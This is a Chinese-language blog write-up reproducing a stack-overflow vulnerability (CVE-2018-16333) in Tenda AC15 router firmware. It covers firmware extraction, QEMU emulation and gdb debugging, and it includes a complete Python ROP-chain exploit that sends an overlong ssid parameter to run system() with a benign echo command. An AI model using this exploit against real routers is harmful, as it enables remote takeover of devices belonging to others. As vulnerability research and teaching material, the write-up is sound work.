CVE-2018-16333复现

Tenda AC15 路由器栈溢出漏洞复现(CVE-2018-16333)

固件解压以及分析

漏洞的原因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。

Untitled

固件版本:US_AC15V1.0BR_V15.03.05.19_multi_TD01

固件和poc下载地址:

pwn/IOT/Tenda_CVE-2018-16333 at master · Snowleopard-bin/pwn

使用binwalk解压固件

1
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

在squashfs-root中可以查看文件系统,bin目录下使用下面指令查看系统架构,可以看到为32为的arm小端序,且开了nx防护,其他全关

1
readelf -h busybox

image-20230925132508258

Untitled

程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。

其中:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。

为了将src指针覆盖为有效地址,并且不影响第一次的strcpy,选择在libc中选择一个可读地址覆盖src指针。

Untitled

利用过程:

1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2。2、跳转到gadget2后,控制r0为要执行的命令即可。3、执行system(cmd)

固件模拟

因为httpd程序在启动的时候有一个对network的check所以直接使用FirmAE进行模拟是行不通的,这里选择直接进行系统级模拟(便于调试以及分析)

根据启动httpd时候的报错的字符串定位到程序,发现这里对network有一个check所以需要使用keypatch将返回值patch为1

Untitled

Untitled

后面报错同理,将httpd程序替换为自己patch好后的

发现获取的ip地址不对,这里程序是通过br0网卡获得地址

qemu启动脚本:

1
2
3
4
5
6
7
8
9
10
#! /bin/bash
sudo tunctl -t tap0 # 创建一个 tap0 接口
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 up # 启用 tap0 接口
sudo ifconfig tap0 192.168.182.100/24 #为tap0分配ip地址
qemu-system-arm -M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

登录进去之后:

1
2
3
4
5
6
7
8
9
10
11
12
qemu:
ifconfig eth0 192.168.182.111/24 up
主机:
scp -r ./squashfs-root root@192.168.182.111:/root
qemu:
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
brctl addbr br0 #添加br0虚拟网卡
ifconfig br0 192.168.182.111/24 up
echo 0 > /proc/sys/kernel/randomize_va_space #关闭地址随机化
./bin/httpd

这里之后服务就已经启动了,但是通过浏览器访问对应页面会发现有报错,执行下面指令之后就可以正常访问了

1
cp -rf ./webroot_ro/* ./webroot/

Untitled

Untitled

调试

这里先贴一下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
from pwn import *

cmd=b"echo success_pwn_it"

'''
qemu-user
'''
#libc_base = 0xf659c000

'''
qemu-system
'''
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0

system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
#payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'

url = "http://192.168.182.111/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

调试首先得将gdbserver传进虚拟机,各个架构的gdbserver下载地址:

H4lo/HatLab Tools Library

可以将gdbserver放进bin目录下这样就可以直接用了

Untitled

使用下面指令查看httpd的进程号

1
2
3
/ # ps |grep httpd
2414 0 0:26 ./bin/httpd
2820 0 0:00 grep httpd

然后使用gdbserver对进程进行调试

1
2
3
4
5
6
7
8
9
10
qemu:
/ # gdbserver --attach 0.0.0.0:12345 2414
Attached; pid = 2414
Listening on port 12345
物理机:
gdb-multiarch httpd
set architecture arm
set endian little
target remote 192.168.182.111:12345
b *0x0006707C #在strcpy打断点

Untitled

接着发送exp,在gdb按c进行运行

Untitled

这里可以进行计算溢出的长度,0x7ebda8f4-0x7ebda878=7c,但是不要忘了在后面还需要接一个可写的地址,运行到第二个strcpy就可以发现,src在栈上距离栈底长度为28处。即0x1c。构造exp时需要在0x7c-0x1C=0x60后加入一个可读字段的地址。

![Untitled](CVE-2018-16333复现 9ed9b5eeeffa4ca3a0bd7a66e8dd5fcc/Untitled 10.png)

所以构造exp:

payload = b’a’(0x60) + p32(readable_addr) + b’b’(0x20-8)

payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

在返回地址处打断点 b *0x00067758,可以看到栈上返回地址已经被劫持成我们构造的ROP链。

Untitled

运行成功截图:

Untitled


CVE-2018-16333复现
http://blogyoulin.top/2023/09/25/CVE-2018-16333复现/
Author
John Doe
Posted on
September 25, 2023
Licensed under